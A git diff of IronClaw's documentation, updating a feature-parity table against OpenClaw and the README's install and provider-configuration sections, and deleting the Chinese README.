| Provider | OpenClaw | IronClaw | Priority | Notes |
|
||||
|----------|----------|----------|----------|-------|
|
||||
| NEAR AI | ✅ | ✅ | - | Primary provider |
|
||||
| Anthropic (Claude) | ✅ | 🚧 | - | Via NEAR AI proxy; Opus 4.5, Sonnet 4, Sonnet 4.6, adaptive thinking default |
|
||||
| OpenAI | ✅ | 🚧 | - | Via NEAR AI proxy; GPT-5.4 + Codex OAuth |
|
||||
| Anthropic (Claude) | ✅ | 🚧 | - | Via NEAR AI proxy |
|
||||
| OpenAI | ✅ | 🚧 | - | Via NEAR AI proxy |
|
||||
| AWS Bedrock | ✅ | ❌ | P3 | |
|
||||
| Google Gemini | ✅ | ❌ | P3 | |
|
||||
| NVIDIA API | ✅ | ❌ | P3 | New provider |
|
||||
| OpenRouter | ✅ | ✅ | - | Via OpenAI-compatible provider (RigAdapter) |
|
||||
| Tinfoil | ❌ | ✅ | - | Private inference provider (IronClaw-only) |
|
||||
| OpenAI-compatible | ❌ | ✅ | - | Generic OpenAI-compatible endpoint (RigAdapter) |
|
||||
| Ollama (local) | ✅ | ✅ | - | via `rig::providers::ollama` (full support) |
|
||||
| Perplexity | ✅ | ❌ | P3 | Freshness parameter for web_search |
|
||||
| MiniMax | ✅ | ❌ | P3 | Regional endpoint selection |
|
||||
| GLM-5 | ✅ | ❌ | P3 | |
|
||||
| OpenRouter | ✅ | ❌ | P3 | |
|
||||
| Ollama (local) | ✅ | ❌ | P2 | Local models |
|
||||
| node-llama-cpp | ✅ | ➖ | - | N/A for Rust |
|
||||
| llama.cpp (native) | ❌ | 🔮 | P3 | Rust bindings |
|
||||
|
||||
@@ -255,11 +174,9 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
|---------|----------|----------|-------|
|
||||
| Auto-discovery | ✅ | ❌ | |
|
||||
| Failover chains | ✅ | ✅ | `FailoverProvider` with configurable `fallback_model` |
|
||||
| Cooldown management | ✅ | ✅ | Lock-free per-provider cooldown in `FailoverProvider` |
|
||||
| Cooldown management | ✅ | ❌ | Skip failed providers |
|
||||
| Per-session model override | ✅ | ✅ | Model selector in TUI |
|
||||
| Model selection UI | ✅ | ✅ | TUI keyboard shortcut |
|
||||
| Per-model thinkingDefault | ✅ | ❌ | Override thinking level per model in config |
|
||||
| 1M context support | ✅ | ❌ | Anthropic extended context beta + OpenAI Codex GPT-5.4 1M context |
|
||||
|
||||
### Owner: _Unassigned_
|
||||
|
||||
@@ -270,18 +187,14 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| Feature | OpenClaw | IronClaw | Priority | Notes |
|
||||
|---------|----------|----------|----------|-------|
|
||||
| Image processing (Sharp) | ✅ | ❌ | P2 | Resize, format convert |
|
||||
| Configurable image resize dims | ✅ | ❌ | P2 | Per-agent dimension config |
|
||||
| Multiple images per tool call | ✅ | ❌ | P2 | Single tool invocation, multiple images |
|
||||
| Audio transcription | ✅ | ❌ | P2 | |
|
||||
| Video support | ✅ | ❌ | P3 | |
|
||||
| PDF analysis tool | ✅ | ❌ | P2 | Native Anthropic/Gemini path with text/image extraction fallback |
|
||||
| PDF parsing | ✅ | ❌ | P2 | `pdfjs-dist` fallback path |
|
||||
| PDF parsing | ✅ | ❌ | P2 | pdfjs-dist |
|
||||
| MIME detection | ✅ | ❌ | P2 | |
|
||||
| Media caching | ✅ | ❌ | P3 | |
|
||||
| Vision model integration | ✅ | ❌ | P2 | Image understanding |
|
||||
| TTS (Edge TTS) | ✅ | ❌ | P3 | Text-to-speech |
|
||||
| TTS (OpenAI) | ✅ | ❌ | P3 | |
|
||||
| Incremental TTS playback | ✅ | ❌ | P3 | iOS progressive playback |
|
||||
| Sticker-to-image | ✅ | ❌ | P3 | Telegram stickers |
|
||||
|
||||
### Owner: _Unassigned_
|
||||
@@ -298,16 +211,12 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| Workspace-relative install | ✅ | ✅ | ~/.ironclaw/tools/ |
|
||||
| Channel plugins | ✅ | ✅ | WASM channels |
|
||||
| Auth plugins | ✅ | ❌ | |
|
||||
| Memory plugins | ✅ | ❌ | Custom backends + selectable memory slot |
|
||||
| Context-engine plugins | ✅ | ❌ | Custom context management + subagent/context hooks |
|
||||
| Memory plugins | ✅ | ❌ | Custom backends |
|
||||
| Tool plugins | ✅ | ✅ | WASM tools |
|
||||
| Hook plugins | ✅ | ✅ | Declarative hooks from extension capabilities |
|
||||
| Hook plugins | ✅ | ❌ | |
|
||||
| Provider plugins | ✅ | ❌ | |
|
||||
| Plugin CLI (`install`, `list`) | ✅ | ✅ | `tool` subcommand |
|
||||
| ClawHub registry | ✅ | ❌ | Discovery |
|
||||
| `before_agent_start` hook | ✅ | ❌ | modelOverride/providerOverride support |
|
||||
| `before_message_write` hook | ✅ | ❌ | Pre-write message interception |
|
||||
| `llm_input`/`llm_output` hooks | ✅ | ❌ | LLM payload inspection |
|
||||
|
||||
### Owner: _Unassigned_
|
||||
|
||||
@@ -321,12 +230,11 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| JSON5 support | ✅ | ❌ | Comments, trailing commas |
|
||||
| YAML alternative | ✅ | ❌ | |
|
||||
| Environment variable interpolation | ✅ | ✅ | `${VAR}` |
|
||||
| Config validation/schema | ✅ | ✅ | Type-safe Config struct + `openclaw config validate` |
|
||||
| Config validation/schema | ✅ | ✅ | Type-safe Config struct |
|
||||
| Hot-reload | ✅ | ❌ | |
|
||||
| Legacy migration | ✅ | ➖ | |
|
||||
| State directory | ✅ `~/.openclaw-state/` | ✅ `~/.ironclaw/` | |
|
||||
| Credentials directory | ✅ | ✅ | Session files |
|
||||
| Full model compat fields in schema | ✅ | ❌ | pi-ai model compat exposed in config |
|
||||
|
||||
### Owner: _Unassigned_
|
||||
|
||||
@@ -339,19 +247,16 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| Vector memory | ✅ | ✅ | pgvector |
|
||||
| Session-based memory | ✅ | ✅ | |
|
||||
| Hybrid search (BM25 + vector) | ✅ | ✅ | RRF algorithm |
|
||||
| Temporal decay (hybrid search) | ✅ | ❌ | Opt-in time-based scoring factor |
|
||||
| MMR re-ranking | ✅ | ❌ | Maximal marginal relevance for result diversity |
|
||||
| LLM-based query expansion | ✅ | ❌ | Expand FTS queries via LLM |
|
||||
| OpenAI embeddings | ✅ | ✅ | |
|
||||
| Gemini embeddings | ✅ | ❌ | |
|
||||
| Local embeddings | ✅ | ❌ | |
|
||||
| SQLite-vec backend | ✅ | ❌ | IronClaw uses PostgreSQL |
|
||||
| LanceDB backend | ✅ | ❌ | Configurable auto-capture max length |
|
||||
| LanceDB backend | ✅ | ❌ | |
|
||||
| QMD backend | ✅ | ❌ | |
|
||||
| Atomic reindexing | ✅ | ✅ | |
|
||||
| Embeddings batching | ✅ | ✅ | `embed_batch` on EmbeddingProvider trait |
|
||||
| Embeddings batching | ✅ | ❌ | |
|
||||
| Citation support | ✅ | ❌ | |
|
||||
| Memory CLI commands | ✅ | ✅ | `memory search/read/write/tree/status` CLI subcommands |
|
||||
| Memory CLI commands | ✅ | ❌ | `memory search/index/status` |
|
||||
| Flexible path structure | ✅ | ✅ | Filesystem-like API |
|
||||
| Identity files (AGENTS.md, etc.) | ✅ | ✅ | |
|
||||
| Daily logs | ✅ | ✅ | |
|
||||
@@ -367,16 +272,12 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
|---------|----------|----------|----------|-------|
|
||||
| iOS app (SwiftUI) | ✅ | 🚫 | - | Out of scope initially |
|
||||
| Android app (Kotlin) | ✅ | 🚫 | - | Out of scope initially |
|
||||
| Apple Watch companion | ✅ | 🚫 | - | Send/receive messages MVP |
|
||||
| Gateway WebSocket client | ✅ | 🚫 | - | |
|
||||
| Camera/photo access | ✅ | 🚫 | - | |
|
||||
| Voice input | ✅ | 🚫 | - | |
|
||||
| Push-to-talk | ✅ | 🚫 | - | |
|
||||
| Location sharing | ✅ | 🚫 | - | |
|
||||
| Node pairing | ✅ | 🚫 | - | |
|
||||
| APNs push notifications | ✅ | 🚫 | - | Wake disconnected nodes before invoke |
|
||||
| Share to OpenClaw (iOS) | ✅ | 🚫 | - | iOS share sheet integration |
|
||||
| Background listening toggle | ✅ | 🚫 | - | iOS background audio |
|
||||
|
||||
### Owner: _Unassigned_ (if ever prioritized)
|
||||
|
||||
@@ -387,17 +288,12 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| Feature | OpenClaw | IronClaw | Priority | Notes |
|
||||
|---------|----------|----------|----------|-------|
|
||||
| SwiftUI native app | ✅ | 🚫 | - | Out of scope |
|
||||
| Menu bar presence | ✅ | 🚫 | - | Animated menubar icon |
|
||||
| Menu bar presence | ✅ | 🚫 | - | |
|
||||
| Bundled gateway | ✅ | 🚫 | - | |
|
||||
| Canvas hosting | ✅ | 🚫 | - | Agent-controlled panel with placement/resizing |
|
||||
| Voice wake | ✅ | 🚫 | - | Overlay, mic picker, language selection, live meter |
|
||||
| Voice wake overlay | ✅ | 🚫 | - | Partial transcripts, adaptive delays, dismiss animations |
|
||||
| Push-to-talk hotkey | ✅ | 🚫 | - | System-wide hotkey |
|
||||
| Canvas hosting | ✅ | 🚫 | - | |
|
||||
| Voice wake | ✅ | 🚫 | - | |
|
||||
| Exec approval dialogs | ✅ | ✅ | - | TUI overlay |
|
||||
| iMessage integration | ✅ | 🚫 | - | |
|
||||
| Instances tab | ✅ | 🚫 | - | Presence beacons across instances |
|
||||
| Agent events debug window | ✅ | 🚫 | - | Real-time event inspector |
|
||||
| Sparkle auto-updates | ✅ | 🚫 | - | Appcast distribution |
|
||||
|
||||
### Owner: _Unassigned_ (if ever prioritized)
|
||||
|
||||
@@ -414,10 +310,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| Config editing | ✅ | ❌ | P3 | |
|
||||
| Debug/logs viewer | ✅ | ✅ | - | Real-time log streaming with level/target filters |
|
||||
| WebChat interface | ✅ | ✅ | - | Web gateway chat with SSE/WebSocket |
|
||||
| Canvas system (A2UI) | ✅ | ❌ | P3 | Agent-driven UI, improved asset resolution |
|
||||
| Control UI i18n | ✅ | ❌ | P3 | English, Chinese, Portuguese |
|
||||
| WebChat theme sync | ✅ | ❌ | P3 | Sync with system dark/light mode |
|
||||
| Partial output on abort | ✅ | ❌ | P2 | Preserve partial output when aborting |
|
||||
| Canvas system (A2UI) | ✅ | ❌ | P3 | Agent-driven UI |
|
||||
|
||||
### Owner: _Unassigned_
|
||||
|
||||
@@ -428,28 +321,20 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| Feature | OpenClaw | IronClaw | Priority | Notes |
|
||||
|---------|----------|----------|----------|-------|
|
||||
| Cron jobs | ✅ | ✅ | - | Routines with cron trigger |
|
||||
| Per-job model fallback override | ✅ | ❌ | P2 | `payload.fallbacks` overrides agent-level fallbacks |
|
||||
| Cron stagger controls | ✅ | ❌ | P3 | Default stagger for scheduled jobs |
|
||||
| Cron finished-run webhook | ✅ | ❌ | P3 | Webhook on job completion |
|
||||
| Timezone support | ✅ | ✅ | - | Via cron expressions |
|
||||
| One-shot/recurring jobs | ✅ | ✅ | - | Manual + cron triggers |
|
||||
| Channel health monitor | ✅ | ❌ | P2 | Auto-restart with configurable interval |
|
||||
| `beforeInbound` hook | ✅ | ✅ | P2 | |
|
||||
| `beforeOutbound` hook | ✅ | ✅ | P2 | |
|
||||
| `beforeToolCall` hook | ✅ | ✅ | P2 | |
|
||||
| `before_agent_start` hook | ✅ | ❌ | P2 | Model/provider override |
|
||||
| `before_message_write` hook | ✅ | ❌ | P2 | Pre-write interception |
|
||||
| `beforeInbound` hook | ✅ | ❌ | P2 | |
|
||||
| `beforeOutbound` hook | ✅ | ❌ | P2 | |
|
||||
| `beforeToolCall` hook | ✅ | ❌ | P2 | |
|
||||
| `onMessage` hook | ✅ | ✅ | - | Routines with event trigger |
|
||||
| Structured system-event routines | ✅ | ✅ | P2 | `system_event` trigger + `event_emit` tool for event-driven automation |
|
||||
| `onSessionStart` hook | ✅ | ✅ | P2 | |
|
||||
| `onSessionEnd` hook | ✅ | ✅ | P2 | |
|
||||
| `onSessionStart` hook | ✅ | ❌ | P2 | |
|
||||
| `onSessionEnd` hook | ✅ | ❌ | P2 | |
|
||||
| `transcribeAudio` hook | ✅ | ❌ | P3 | |
|
||||
| `transformResponse` hook | ✅ | ✅ | P2 | |
|
||||
| `llm_input`/`llm_output` hooks | ✅ | ❌ | P3 | LLM payload inspection |
|
||||
| Bundled hooks | ✅ | ✅ | P2 | Audit + declarative rule/webhook hooks |
|
||||
| Plugin hooks | ✅ | ✅ | P3 | Registered from WASM `capabilities.json` |
|
||||
| Workspace hooks | ✅ | ✅ | P2 | `hooks/hooks.json` and `hooks/*.hook.json` |
|
||||
| Outbound webhooks | ✅ | ✅ | P2 | Fire-and-forget lifecycle event delivery |
|
||||
| `transformResponse` hook | ✅ | ❌ | P2 | |
|
||||
| Bundled hooks | ✅ | ❌ | P2 | |
|
||||
| Plugin hooks | ✅ | ❌ | P3 | |
|
||||
| Workspace hooks | ✅ | ❌ | P2 | Inline code |
|
||||
| Outbound webhooks | ✅ | ❌ | P2 | |
|
||||
| Heartbeat system | ✅ | ✅ | - | Periodic execution |
|
||||
| Gmail pub/sub | ✅ | ❌ | P3 | |
|
||||
|
||||
@@ -464,7 +349,6 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| Gateway token auth | ✅ | ✅ | Bearer token auth on web gateway |
|
||||
| Device pairing | ✅ | ❌ | |
|
||||
| Tailscale identity | ✅ | ❌ | |
|
||||
| Trusted-proxy auth | ✅ | ❌ | Header-based reverse proxy auth |
|
||||
| OAuth flows | ✅ | 🚧 | NEAR AI OAuth |
|
||||
| DM pairing verification | ✅ | ✅ | ironclaw pairing approve, host APIs |
|
||||
| Allowlist/blocklist | ✅ | 🚧 | allow_from + pairing store |
|
||||
@@ -472,26 +356,18 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| Exec approvals | ✅ | ✅ | TUI overlay |
|
||||
| TLS 1.3 minimum | ✅ | ✅ | reqwest rustls |
|
||||
| SSRF protection | ✅ | ✅ | WASM allowlist |
|
||||
| SSRF IPv6 transition bypass block | ✅ | ❌ | Block IPv4-mapped IPv6 bypasses |
|
||||
| Cron webhook SSRF guard | ✅ | ❌ | SSRF checks on webhook delivery |
|
||||
| Loopback-first | ✅ | 🚧 | HTTP binds 0.0.0.0 |
|
||||
| Docker sandbox | ✅ | ✅ | Orchestrator/worker containers |
|
||||
| Podman support | ✅ | ❌ | Alternative to Docker |
|
||||
| WASM sandbox | ❌ | ✅ | IronClaw innovation |
|
||||
| Sandbox env sanitization | ✅ | 🚧 | Shell tool scrubs env vars (secret detection); docker container env sanitization partial |
|
||||
| Tool policies | ✅ | ✅ | |
|
||||
| Elevated mode | ✅ | ❌ | |
|
||||
| Safe bins allowlist | ✅ | ❌ | Hardened path trust |
|
||||
| Safe bins allowlist | ✅ | ❌ | |
|
||||
| LD*/DYLD* validation | ✅ | ❌ | |
|
||||
| Path traversal prevention | ✅ | ✅ | Including config includes (OC-06) + workspace-only tool mounts |
|
||||
| Credential theft via env injection | ✅ | 🚧 | Shell env scrubbing + command injection detection; no full OC-09 defense |
|
||||
| Session file permissions (0o600) | ✅ | ✅ | Session token file set to 0o600 in llm/session.rs |
|
||||
| Skill download path restriction | ✅ | ❌ | Validated download roots prevent arbitrary write targets |
|
||||
| Path traversal prevention | ✅ | ✅ | |
|
||||
| Webhook signature verification | ✅ | ✅ | |
|
||||
| Media URL validation | ✅ | ❌ | |
|
||||
| Prompt injection defense | ✅ | ✅ | Pattern detection, sanitization |
|
||||
| Leak detection | ✅ | ✅ | Secret exfiltration |
|
||||
| Dangerous tool re-enable warning | ✅ | ❌ | Warn when gateway.tools.allow re-enables HTTP tools |
|
||||
|
||||
### Owner: _Unassigned_
|
||||
|
||||
@@ -511,9 +387,6 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| Coverage | V8 | tarpaulin/llvm-cov | |
|
||||
| CI/CD | GitHub Actions | GitHub Actions | |
|
||||
| Pre-commit hooks | prek | - | Consider adding |
|
||||
| Docker: Chromium + Xvfb | ✅ | ❌ | Optional browser in container |
|
||||
| Docker: init scripts | ✅ | ❌ | /openclaw-init.d/ support |
|
||||
| Browser: extraArgs config | ✅ | ❌ | Custom Chrome launch arguments |
|
||||
|
||||
### Owner: _Unassigned_
|
||||
|
||||
@@ -526,7 +399,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
- ✅ HTTP webhook channel
|
||||
- ✅ DM pairing (ironclaw pairing list/approve, host APIs)
|
||||
- ✅ WASM tool sandbox
|
||||
- ✅ Workspace/memory with hybrid search + embeddings batching
|
||||
- ✅ Workspace/memory with hybrid search
|
||||
- ✅ Prompt injection defense
|
||||
- ✅ Heartbeat system
|
||||
- ✅ Session management
|
||||
@@ -541,40 +414,33 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
- ✅ Cron job scheduling (routines)
|
||||
- ✅ CLI subcommands (onboard, config, status, memory)
|
||||
- ✅ Gateway token auth
|
||||
- ✅ Skills system (prompt-based with trust gating, attenuation, activation criteria)
|
||||
- ✅ Session file permissions (0o600)
|
||||
- ✅ Memory CLI commands (search, read, write, tree, status)
|
||||
- ✅ Shell env scrubbing + command injection detection
|
||||
- ✅ Tinfoil private inference provider
|
||||
- ✅ OpenAI-compatible / OpenRouter provider support
|
||||
|
||||
### P1 - High Priority
|
||||
- ❌ Slack channel (real implementation)
|
||||
- ✅ Telegram channel (WASM, DM pairing, caption, /start)
|
||||
- ❌ WhatsApp channel
|
||||
- ✅ Multi-provider failover (`FailoverProvider` with retryable error classification)
|
||||
- ✅ Hooks system (core lifecycle hooks + bundled/plugin/workspace hooks + outbound webhooks)
|
||||
- ❌ Hooks system (beforeInbound, beforeToolCall, etc.)
|
||||
|
||||
### P2 - Medium Priority
|
||||
- ❌ Media handling (images, PDFs)
|
||||
- ✅ Ollama/local model support (via rig::providers::ollama)
|
||||
- ❌ Cron job scheduling
|
||||
- ❌ Web Control UI
|
||||
- ❌ WebChat channel
|
||||
- 🚧 Media handling (caption support; no image/PDF processing)
|
||||
- ❌ CLI subcommands (config, status, memory, doctor)
|
||||
- ❌ Ollama/local model support
|
||||
- ❌ Configuration hot-reload
|
||||
- ✅ Tool-driven webhook ingress (`/webhook/tools/{tool}` -> host-verified + tool-normalized `system_event` routines)
|
||||
- ❌ Channel health monitor with auto-restart
|
||||
- ❌ Partial output preservation on abort
|
||||
- ❌ Webhook trigger endpoint in web gateway
|
||||
|
||||
### P3 - Lower Priority
|
||||
- ❌ Discord channel
|
||||
- ❌ Signal channel
|
||||
- ❌ Matrix channel
|
||||
- ❌ Other messaging platforms
|
||||
- ❌ TTS/audio features
|
||||
- ❌ Video support
|
||||
- 🚧 Skills routing blocks (activation criteria exist, but no "Use when / Don't use when")
|
||||
- ❌ Skills system
|
||||
- ❌ Plugin registry
|
||||
- ❌ Streaming (block/tool/Z.AI tool_stream)
|
||||
- ❌ Memory: temporal decay, MMR re-ranking, query expansion
|
||||
- ❌ Control UI i18n
|
||||
- ❌ Stuck loop detection
|
||||
|
||||
---
|
||||
|
||||
@@ -599,12 +465,9 @@ IronClaw intentionally differs from OpenClaw in these ways:
|
||||
|
||||
1. **Rust vs TypeScript**: Native performance, memory safety, single binary distribution
|
||||
2. **WASM sandbox vs Docker**: Lighter weight, faster startup, capability-based security
|
||||
3. **PostgreSQL + libSQL vs SQLite**: Dual-backend (production PG + embedded libSQL for zero-dep local mode)
|
||||
3. **PostgreSQL vs SQLite**: Better suited for production deployments
|
||||
4. **NEAR AI focus**: Primary provider with session-based auth
|
||||
5. **No mobile/desktop apps**: Focus on server-side and CLI initially
|
||||
6. **WASM channels**: Novel extension mechanism not in OpenClaw
|
||||
7. **Tinfoil private inference**: IronClaw-only provider for private/encrypted inference
|
||||
8. **GitHub WASM tool**: Native GitHub integration as WASM tool
|
||||
9. **Prompt-based skills**: Different approach than OpenClaw capability bundles (trust gating, attenuation)
|
||||
|
||||
These are intentional architectural choices, not gaps to be filled.
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
<p align="center">
|
||||
<img src="ironclaw.png?v=2" alt="IronClaw" width="200"/>
|
||||
<img src="ironclaw.png" alt="IronClaw" width="200"/>
|
||||
</p>
|
||||
|
||||
<h1 align="center">IronClaw</h1>
|
||||
@@ -8,17 +8,6 @@
|
||||
<strong>Your secure personal AI assistant, always on your side</strong>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#license"><img src="https://img.shields.io/badge/license-MIT%20OR%20Apache%202.0-blue.svg" alt="License: MIT OR Apache-2.0" /></a>
|
||||
<a href="https://t.me/ironclawAI"><img src="https://img.shields.io/badge/Telegram-%40ironclawAI-26A5E4?style=flat&logo=telegram&logoColor=white" alt="Telegram: @ironclawAI" /></a>
|
||||
<a href="https://www.reddit.com/r/ironclawAI/"><img src="https://img.shields.io/badge/Reddit-r%2FironclawAI-FF4500?style=flat&logo=reddit&logoColor=white" alt="Reddit: r/ironclawAI" /></a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="README.md">English</a> |
|
||||
<a href="README.zh-CN.md">简体中文</a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#philosophy">Philosophy</a> •
|
||||
<a href="#features">Features</a> •
|
||||
@@ -110,15 +99,6 @@ curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/release
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>Install via Homebrew (macOS/Linux)</summary>
|
||||
|
||||
```sh
|
||||
brew install ironclaw
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>Compile the source code (Cargo on Windows, Linux, macOS)</summary>
|
||||
|
||||
@@ -159,26 +139,8 @@ ironclaw onboard
|
||||
```
|
||||
|
||||
The wizard handles database connection, NEAR AI authentication (via browser OAuth),
|
||||
and secrets encryption (using your system keychain). Settings are persisted in the
|
||||
connected database; bootstrap variables (e.g. `DATABASE_URL`, `LLM_BACKEND`) are
|
||||
written to `~/.ironclaw/.env` so they are available before the database connects.
|
||||
|
||||
### Alternative LLM Providers
|
||||
|
||||
IronClaw defaults to NEAR AI but works with any OpenAI-compatible endpoint.
|
||||
Popular options include **OpenRouter** (300+ models), **Together AI**, **Fireworks AI**,
|
||||
**Ollama** (local), and self-hosted servers like **vLLM** or **LiteLLM**.
|
||||
|
||||
Select *"OpenAI-compatible"* in the wizard, or set environment variables directly:
|
||||
|
||||
```env
|
||||
LLM_BACKEND=openai_compatible
|
||||
LLM_BASE_URL=https://openrouter.ai/api/v1
|
||||
LLM_API_KEY=sk-or-...
|
||||
LLM_MODEL=anthropic/claude-sonnet-4
|
||||
```
|
||||
|
||||
See [docs/LLM_PROVIDERS.md](docs/LLM_PROVIDERS.md) for a full provider guide.
|
||||
and secrets encryption (using your system keychain). All settings are saved to
|
||||
`~/.ironclaw/settings.toml`.
|
||||
|
||||
## Security
|
||||
|
||||
|
||||
-319
@@ -1,319 +0,0 @@
|
||||
<p align="center">
|
||||
<img src="ironclaw.png?v=2" alt="IronClaw" width="200"/>
|
||||
</p>
|
||||
|
||||
<h1 align="center">IronClaw</h1>
|
||||
|
||||
<p align="center">
|
||||
<strong>安全可靠的个人 AI 助手,始终站在你这边</strong>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#license"><img src="https://img.shields.io/badge/license-MIT%20OR%20Apache%202.0-blue.svg" alt="License: MIT OR Apache-2.0" /></a>
|
||||
<a href="https://t.me/ironclawAI"><img src="https://img.shields.io/badge/Telegram-%40ironclawAI-26A5E4?style=flat&logo=telegram&logoColor=white" alt="Telegram: @ironclawAI" /></a>
|
||||
<a href="https://www.reddit.com/r/ironclawAI/"><img src="https://img.shields.io/badge/Reddit-r%2FironclawAI-FF4500?style=flat&logo=reddit&logoColor=white" alt="Reddit: r/ironclawAI" /></a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="README.md">English</a> |
|
||||
<a href="README.zh-CN.md">简体中文</a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#设计理念">设计理念</a> •
|
||||
<a href="#功能特性">功能特性</a> •
|
||||
<a href="#安装">安装</a> •
|
||||
<a href="#配置">配置</a> •
|
||||
<a href="#安全机制">安全机制</a> •
|
||||
<a href="#系统架构">系统架构</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
## 设计理念
|
||||
|
||||
IronClaw 基于一个简单的原则:**你的 AI 助手应该为你服务,而不是与你为敌。**
|
||||
|
||||
在 AI 系统对数据处理日益不透明、与企业利益捆绑的今天,IronClaw 选择了一条不同的路:
|
||||
|
||||
- **数据归你所有** — 所有信息存储在本地,加密保护,始终在你掌控之下
|
||||
- **透明至上** — 完全开源,可审计,没有隐藏的遥测或数据收集
|
||||
- **自主扩展** — 随时构建新工具,无需等待供应商更新
|
||||
- **纵深防御** — 多层安全机制抵御提示注入和数据泄露
|
||||
|
||||
IronClaw 是一个你真正可以信赖的 AI 助手,无论是个人生活还是工作。
|
||||
|
||||
## 功能特性
|
||||
|
||||
### 安全优先
|
||||
|
||||
- **WASM 沙箱** — 不受信任的工具在隔离的 WebAssembly 容器中运行,采用基于能力的权限模型
|
||||
- **凭据保护** — 密钥永远不会暴露给工具;在宿主边界注入并进行泄露检测
|
||||
- **提示注入防御** — 模式检测、内容清理和策略执行
|
||||
- **端点白名单** — HTTP 请求仅限于明确批准的主机和路径
|
||||
|
||||
### 随时可用
|
||||
|
||||
- **多渠道接入** — REPL、HTTP webhook、WASM 渠道(Telegram、Slack)和 Web 网关
|
||||
- **Docker 沙箱** — 隔离的容器执行,支持每任务令牌和编排器/工作器模式
|
||||
- **Web 网关** — 浏览器 UI,支持实时 SSE/WebSocket 流式传输
|
||||
- **定时任务** — Cron 调度、事件触发器、Webhook 处理器,实现后台自动化
|
||||
- **心跳系统** — 主动后台执行,用于监控和维护任务
|
||||
- **并行任务** — 使用隔离上下文同时处理多个请求
|
||||
- **自修复** — 自动检测并恢复卡住的操作
|
||||
|
||||
### 自主扩展
|
||||
|
||||
- **动态工具构建** — 描述你的需求,IronClaw 会将其构建为 WASM 工具
|
||||
- **MCP 协议** — 连接模型上下文协议(Model Context Protocol)服务器以获取额外能力
|
||||
- **插件架构** — 无需重启即可加载新的 WASM 工具和渠道
|
||||
|
||||
### 持久记忆
|
||||
|
||||
- **混合搜索** — 全文搜索 + 向量搜索,采用倒数排名融合(Reciprocal Rank Fusion)
|
||||
- **工作空间文件系统** — 灵活的基于路径的存储,用于笔记、日志和上下文
|
||||
- **身份文件** — 跨会话保持一致的个性和偏好设置
|
||||
|
||||
## 安装
|
||||
|
||||
### 前置要求
|
||||
|
||||
- Rust 1.85+
|
||||
- PostgreSQL 15+,需安装 [pgvector](https://github.com/pgvector/pgvector) 扩展
|
||||
- NEAR AI 账户(通过设置向导进行身份验证)
|
||||
|
||||
## 下载或编译
|
||||
|
||||
访问 [Releases 页面](https://github.com/nearai/ironclaw/releases/) 查看最新版本。
|
||||
|
||||
<details>
|
||||
<summary>通过 Windows 安装程序安装 (Windows)</summary>
|
||||
|
||||
下载 [Windows 安装程序](https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-x86_64-pc-windows-msvc.msi) 并运行。
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>通过 PowerShell 脚本安装 (Windows)</summary>
|
||||
|
||||
```sh
|
||||
irm https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.ps1 | iex
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>通过 Shell 脚本安装 (macOS、Linux、Windows/WSL)</summary>
|
||||
|
||||
```sh
|
||||
curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.sh | sh
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>通过 Homebrew 安装 (macOS/Linux)</summary>
|
||||
|
||||
```sh
|
||||
brew install ironclaw
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>从源码编译 (Windows、Linux、macOS 上使用 Cargo)</summary>
|
||||
|
||||
确保你已安装 [Rust](https://rustup.rs)。
|
||||
|
||||
```bash
|
||||
# 克隆仓库
|
||||
git clone https://github.com/nearai/ironclaw.git
|
||||
cd ironclaw
|
||||
|
||||
# 编译
|
||||
cargo build --release
|
||||
|
||||
# 运行测试
|
||||
cargo test
|
||||
```
|
||||
|
||||
如需进行**完整发布构建**(修改了渠道源码后),先运行 `./scripts/build-all.sh` 重新编译渠道。
|
||||
|
||||
</details>
|
||||
|
||||
### 数据库设置
|
||||
|
||||
```bash
|
||||
# 创建数据库
|
||||
createdb ironclaw
|
||||
|
||||
# 启用 pgvector 扩展
|
||||
psql ironclaw -c "CREATE EXTENSION IF NOT EXISTS vector;"
|
||||
```
|
||||
|
||||
## 配置
|
||||
|
||||
运行设置向导来配置 IronClaw:
|
||||
|
||||
```bash
|
||||
ironclaw onboard
|
||||
```
|
||||
|
||||
向导将引导你完成数据库连接、NEAR AI 身份验证(通过浏览器 OAuth)和密钥加密(使用系统钥匙串)。设置会保存在数据库中;引导变量(如 `DATABASE_URL`、`LLM_BACKEND`)写入 `~/.ironclaw/.env`,以便在数据库连接前可用。
|
||||
|
||||
### 替代 LLM 提供商
|
||||
|
||||
IronClaw 默认使用 NEAR AI,但兼容任何 OpenAI 兼容的端点。
|
||||
